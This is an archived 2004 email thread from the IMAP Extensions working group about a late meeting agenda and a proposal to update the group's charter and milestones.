Sender: [email-masked]

Well, I wouldn't mind seeing an effort to reconcile mil(e|l)stones with the
current charter, and/or updating the charter as necessary to reflect
reality.

-Scott-

> -----Original Message-----
> From: Lisa Dusseault [mailto:[email-masked]] 
> Sent: Monday, August 02, 2004 4:55 PM
> To: Philip Guenther
> Cc: IMAP Extensions WG
> Subject: Re: Agenda & slides 
> 
> 
> 
> Yeah, that's a great idea.  Officially this is a recharter, and Scott 
> did ask for us to recharter a while back so let's do it.
> 
> Can we officially call them Millstones, though?
> 
> Lisa
> 
> On Aug 2, 2004, at 1:49 PM, Philip Guenther wrote:
> 
> >
> > Should an item be added at the end to talk about updating the WG
> > Goals and Millstones to reflect the current reality?
> >
> >
> > Philip Guenther
> 
> 

Cc: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Re: Agenda & slides 
Date: Mon, 2 Aug 2004 13:55:09 -0700
To: Philip Guenther <[email-masked]>
Sender: [email-masked]

Yeah, that's a great idea.  Officially this is a recharter, and Scott 
did ask for us to recharter a while back so let's do it.

Can we officially call them Millstones, though?

Lisa

On Aug 2, 2004, at 1:49 PM, Philip Guenther wrote:

>
> Should an item be added at the end to talk about updating the WG
> Goals and Millstones to reflect the current reality?
>
>
> Philip Guenther

To: Lisa Dusseault <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Agenda & slides 
Date: Mon, 02 Aug 2004 13:49:57 -0700
From: Philip Guenther <[email-masked]>
Sender: [email-masked]

Should an item be added at the end to talk about updating the WG
Goals and Millstones to reflect the current reality?

Philip Guenther

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Agenda & slides
Date: Mon, 2 Aug 2004 12:49:35 -0700
Sender: [email-masked]

The official agenda deadline passed without our noticing this summer 
(sorry), so we never put together a real agenda for today's IMAPEXT 
meeting.  We did just get together & try to compensate for that -- 
we'll discuss the status and known issues on -i18n, sort, annotate, 
listext and acl2. More detail here:

http://www.sharemation.com/~milele/public/imapext

Lisa